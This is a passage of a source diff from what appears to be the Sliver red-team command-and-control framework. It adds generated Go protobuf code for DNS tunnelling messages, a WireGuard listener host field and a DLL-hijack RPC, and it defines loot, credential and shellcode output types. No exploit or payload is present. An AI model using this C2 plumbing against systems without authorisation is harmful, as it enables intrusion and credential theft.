0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70,
|
||||
0x65, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
|
||||
0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x40, 0x0a,
|
||||
0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x18,
|
||||
0x04, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
|
||||
0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12,
|
||||
0x34, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x18, 0x05, 0x20,
|
||||
0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
|
||||
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65,
|
||||
0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70,
|
||||
0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c,
|
||||
0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20,
|
||||
0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46,
|
||||
0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c,
|
||||
0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03,
|
||||
0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f,
|
||||
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70,
|
||||
0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52,
|
||||
0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c,
|
||||
0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55,
|
||||
0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49,
|
||||
0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08,
|
||||
0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50,
|
||||
0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12,
|
||||
0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13,
|
||||
0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
|
||||
0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
|
||||
0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44,
|
||||
0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52,
|
||||
0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41,
|
||||
0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45,
|
||||
0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b,
|
||||
0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42,
|
||||
0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10,
|
||||
0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f,
|
||||
0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -196,6 +196,7 @@ message MTLSListener {
|
||||
}
|
||||
|
||||
message WGListenerReq {
|
||||
string Host = 6;
|
||||
uint32 Port = 1;
|
||||
string TunIP = 2;
|
||||
uint32 NPort = 3;
|
||||
@@ -366,7 +367,6 @@ message MigrateReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
|
||||
// [ Tunnels ] ----------------------------------------
|
||||
message CreateTunnelReq {
|
||||
|
||||
|
||||
@@ -0,0 +1,255 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
import (
|
||||
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
|
||||
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
|
||||
reflect "reflect"
|
||||
sync "sync"
|
||||
)
|
||||
|
||||
const (
|
||||
// Verify that this generated code is sufficiently up-to-date.
|
||||
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
|
||||
// Verify that runtime/protoimpl is sufficiently up-to-date.
|
||||
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
|
||||
)
|
||||
|
||||
type DNSMessageType int32
|
||||
|
||||
const (
|
||||
DNSMessageType_NOP DNSMessageType = 0
|
||||
DNSMessageType_DOMAIN_KEY DNSMessageType = 1
|
||||
DNSMessageType_SESSION_INIT DNSMessageType = 2
|
||||
DNSMessageType_SESSION_POLL DNSMessageType = 3
|
||||
DNSMessageType_BLOCK_PREAMBLE DNSMessageType = 7
|
||||
DNSMessageType_BLOCK_DATA DNSMessageType = 8
|
||||
DNSMessageType_BLOCK_CLEAR DNSMessageType = 9
|
||||
)
|
||||
|
||||
// Enum value maps for DNSMessageType.
|
||||
var (
|
||||
DNSMessageType_name = map[int32]string{
|
||||
0: "NOP",
|
||||
1: "DOMAIN_KEY",
|
||||
2: "SESSION_INIT",
|
||||
3: "SESSION_POLL",
|
||||
7: "BLOCK_PREAMBLE",
|
||||
8: "BLOCK_DATA",
|
||||
9: "BLOCK_CLEAR",
|
||||
}
|
||||
DNSMessageType_value = map[string]int32{
|
||||
"NOP": 0,
|
||||
"DOMAIN_KEY": 1,
|
||||
"SESSION_INIT": 2,
|
||||
"SESSION_POLL": 3,
|
||||
"BLOCK_PREAMBLE": 7,
|
||||
"BLOCK_DATA": 8,
|
||||
"BLOCK_CLEAR": 9,
|
||||
}
|
||||
)
|
||||
|
||||
func (x DNSMessageType) Enum() *DNSMessageType {
|
||||
p := new(DNSMessageType)
|
||||
*p = x
|
||||
return p
|
||||
}
|
||||
|
||||
func (x DNSMessageType) String() string {
|
||||
return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
|
||||
}
|
||||
|
||||
func (DNSMessageType) Descriptor() protoreflect.EnumDescriptor {
|
||||
return file_dnspb_dns_proto_enumTypes[0].Descriptor()
|
||||
}
|
||||
|
||||
func (DNSMessageType) Type() protoreflect.EnumType {
|
||||
return &file_dnspb_dns_proto_enumTypes[0]
|
||||
}
|
||||
|
||||
func (x DNSMessageType) Number() protoreflect.EnumNumber {
|
||||
return protoreflect.EnumNumber(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DNSMessageType.Descriptor instead.
|
||||
func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
|
||||
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
N uint32 `protobuf:"varint,3,opt,name=N,proto3" json:"N,omitempty"`
|
||||
Size uint32 `protobuf:"varint,4,opt,name=Size,proto3" json:"Size,omitempty"`
|
||||
Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DNSMessage) Reset() {
|
||||
*x = DNSMessage{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DNSMessage) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DNSMessage) ProtoMessage() {}
|
||||
|
||||
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DNSMessage.ProtoReflect.Descriptor instead.
|
||||
func (*DNSMessage) Descriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetType() DNSMessageType {
|
||||
if x != nil {
|
||||
return x.Type
|
||||
}
|
||||
return DNSMessageType_NOP
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetID() uint32 {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetN() uint32 {
|
||||
if x != nil {
|
||||
return x.N
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetSize() uint32 {
|
||||
if x != nil {
|
||||
return x.Size
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *DNSMessage) GetData() []byte {
|
||||
if x != nil {
|
||||
return x.Data
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_dnspb_dns_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_dnspb_dns_proto_rawDesc = []byte{
|
||||
0x0a, 0x0f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2f, 0x64, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x12, 0x05, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x22, 0x7d, 0x0a, 0x0a, 0x44, 0x4e, 0x53, 0x4d,
|
||||
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53,
|
||||
0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70,
|
||||
0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49,
|
||||
0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12,
|
||||
0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53,
|
||||
0x69, 0x7a, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28,
|
||||
0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d,
|
||||
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f,
|
||||
0x50, 0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x4f, 0x4d, 0x41, 0x49, 0x4e, 0x5f, 0x4b, 0x45,
|
||||
0x59, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x5f, 0x49,
|
||||
0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e,
|
||||
0x5f, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x12, 0x0a, 0x0e, 0x42, 0x4c, 0x4f, 0x43, 0x4b,
|
||||
0x5f, 0x50, 0x52, 0x45, 0x41, 0x4d, 0x42, 0x4c, 0x45, 0x10, 0x07, 0x12, 0x0e, 0x0a, 0x0a, 0x42,
|
||||
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x44, 0x41, 0x54, 0x41, 0x10, 0x08, 0x12, 0x0f, 0x0a, 0x0b, 0x42,
|
||||
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c, 0x5a, 0x2a,
|
||||
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
|
||||
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
file_dnspb_dns_proto_rawDescOnce sync.Once
|
||||
file_dnspb_dns_proto_rawDescData = file_dnspb_dns_proto_rawDesc
|
||||
)
|
||||
|
||||
func file_dnspb_dns_proto_rawDescGZIP() []byte {
|
||||
file_dnspb_dns_proto_rawDescOnce.Do(func() {
|
||||
file_dnspb_dns_proto_rawDescData = protoimpl.X.CompressGZIP(file_dnspb_dns_proto_rawDescData)
|
||||
})
|
||||
return file_dnspb_dns_proto_rawDescData
|
||||
}
|
||||
|
||||
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
|
||||
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
|
||||
var file_dnspb_dns_proto_goTypes = []interface{}{
|
||||
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
|
||||
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
|
||||
}
|
||||
var file_dnspb_dns_proto_depIdxs = []int32{
|
||||
0, // 0: dnspb.DNSMessage.Type:type_name -> dnspb.DNSMessageType
|
||||
1, // [1:1] is the sub-list for method output_type
|
||||
1, // [1:1] is the sub-list for method input_type
|
||||
1, // [1:1] is the sub-list for extension type_name
|
||||
1, // [1:1] is the sub-list for extension extendee
|
||||
0, // [0:1] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_dnspb_dns_proto_init() }
|
||||
func file_dnspb_dns_proto_init() {
|
||||
if File_dnspb_dns_proto != nil {
|
||||
return
|
||||
}
|
||||
if !protoimpl.UnsafeEnabled {
|
||||
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DNSMessage); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
File: protoimpl.DescBuilder{
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_dnspb_dns_proto_rawDesc,
|
||||
NumEnums: 1,
|
||||
NumMessages: 1,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
GoTypes: file_dnspb_dns_proto_goTypes,
|
||||
DependencyIndexes: file_dnspb_dns_proto_depIdxs,
|
||||
EnumInfos: file_dnspb_dns_proto_enumTypes,
|
||||
MessageInfos: file_dnspb_dns_proto_msgTypes,
|
||||
}.Build()
|
||||
File_dnspb_dns_proto = out.File
|
||||
file_dnspb_dns_proto_rawDesc = nil
|
||||
file_dnspb_dns_proto_goTypes = nil
|
||||
file_dnspb_dns_proto_depIdxs = nil
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
syntax = "proto3";
|
||||
package dnspb;
|
||||
option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
|
||||
|
||||
enum DNSMessageType {
|
||||
NOP = 0; // aka FINGERPRINT
|
||||
DOMAIN_KEY = 1;
|
||||
SESSION_INIT = 2;
|
||||
SESSION_POLL = 3;
|
||||
|
||||
BLOCK_PREAMBLE = 7;
|
||||
BLOCK_DATA = 8;
|
||||
BLOCK_CLEAR = 9;
|
||||
}
|
||||
|
||||
message DNSMessage {
|
||||
DNSMessageType Type = 1;
|
||||
uint32 ID = 2;
|
||||
uint32 N = 3;
|
||||
uint32 Size = 4;
|
||||
bytes Data = 5;
|
||||
}
|
||||
|
||||
+242
-235
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0xea, 0x2a, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0xa4, 0x2b, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -327,57 +327,60 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53,
|
||||
0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
|
||||
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f,
|
||||
0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53,
|
||||
0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61,
|
||||
0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11,
|
||||
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a,
|
||||
0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
|
||||
0x61, 0x63, 0x6b, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f,
|
||||
0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
|
||||
0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
|
||||
0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
|
||||
0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
|
||||
0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
|
||||
0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18,
|
||||
